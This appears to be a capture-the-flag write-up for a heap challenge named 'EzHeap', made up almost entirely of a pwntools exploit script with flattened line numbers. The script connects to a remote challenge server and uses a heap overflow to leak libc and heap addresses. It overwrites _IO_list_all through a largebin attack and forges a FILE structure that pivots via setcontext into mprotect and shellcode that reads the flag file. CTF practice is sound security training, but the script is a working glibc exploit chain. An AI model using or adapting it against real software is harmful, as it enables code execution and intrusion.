EzHeap 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 from pwn import * context.arch='amd64' def add (l,data=b'\n' ): p.sendlineafter(b'>> ' ,b'1' ) p.sendlineafter(b'size:' ,str (l).encode()) p.sendafter(b"content:" ,data); pass def free (ind ): p.sendlineafter(b'>> ' ,b'2' ) p.sendlineafter(b"idx" ,str (ind).encode())def edit (ind,data ): p.sendlineafter(b'>> ' ,b'3' ) p.sendlineafter(b'idx:' ,str (ind).encode()) p.sendlineafter(b'size:' ,str (len (data)).encode()) p.sendafter('content:' ,data)def show (ind ): p.sendlineafter(b'>> ' ,b'4' ) p.sendlineafter('idx' ,str (ind).encode())def exit (): p.sendlineafter(b'>> ' ,b'5' ) p=remote("8.147.134.47" ,"35955" ) libc=ELF("./libc.so.6" ) add(0x300 ) add(0x448 ) add(0x300 ) add(0x438 ) add(0x300 ) free(1 ) add(0x500 ) edit(0 ,b'a' *0x308 +b'rotwilll' ) show(0 ) p.readuntil('rotwilll' ) large=u64(p.readuntil('Welcome' ,drop=1 ).ljust(8 ,b'\x00' ))print (hex (large)) pause() libc.address=large-0x21b0e0 stdout=libc.sym['_IO_2_1_stdout_' ] wfile_jump=libc.sym['_IO_wfile_jumps' ] iolist=libc.sym['_IO_list_all' ] success(f"libcaddr=0x{libc.address:x} " ) edit(0 ,b'a' *0x308 +p64(0x451 )+p64(large)*2 +p64(iolist-0x20 )*2 ) free(3 ) add(0x500 ) edit(0 ,b'a' *0x308 +b'rotwilll' ) show(0 ) p.readuntil('rotwilll' ) chunk=u64(p.readuntil('Welcome' ,drop=1 ).ljust(8 ,b'\x00' ))print (hex (chunk)) fake_io_add=chunk chunk1=chunk-0x300 gs=chunk1 shelladd=chunk1+0x200 shellcode=shellcraft.open ("flag" )+shellcraft.read(3 ,chunk,0x300 )+shellcraft.write(1 ,chunk,0x300 ) mprotect=libc.sym['mprotect' ] setcontext=libc.sym['setcontext' ] gadget=libc.address+0x167420 fake_io=flat({ 0x28 : [gs,1 ], 0x98 : fake_io_add+0x28 , 0xa0 : fake_io_add, 0xd8 : wfile_jump+0x30 , },filler=b'\x00' ) gsdata=flat({ 8 : [gs,shelladd], 0x20 : setcontext+0x3d , 0x28 : gadget, 0x68 : gs&(~0xfff ), 0x70 : 0x1000 , 0x88 : 7 , 0xa0 : gs+0x10 , 0xa8 : mprotect, 0xe0 : gs },filler=b'\x00' ) payload=gsdata payload=payload.ljust(0x200 ,b'\x00' ) payload+=asm(shellcode) payload=payload.ljust(0x300 ) payload=payload+fake_io edit(2 ,payload) p.interactive()
crypto 古典密码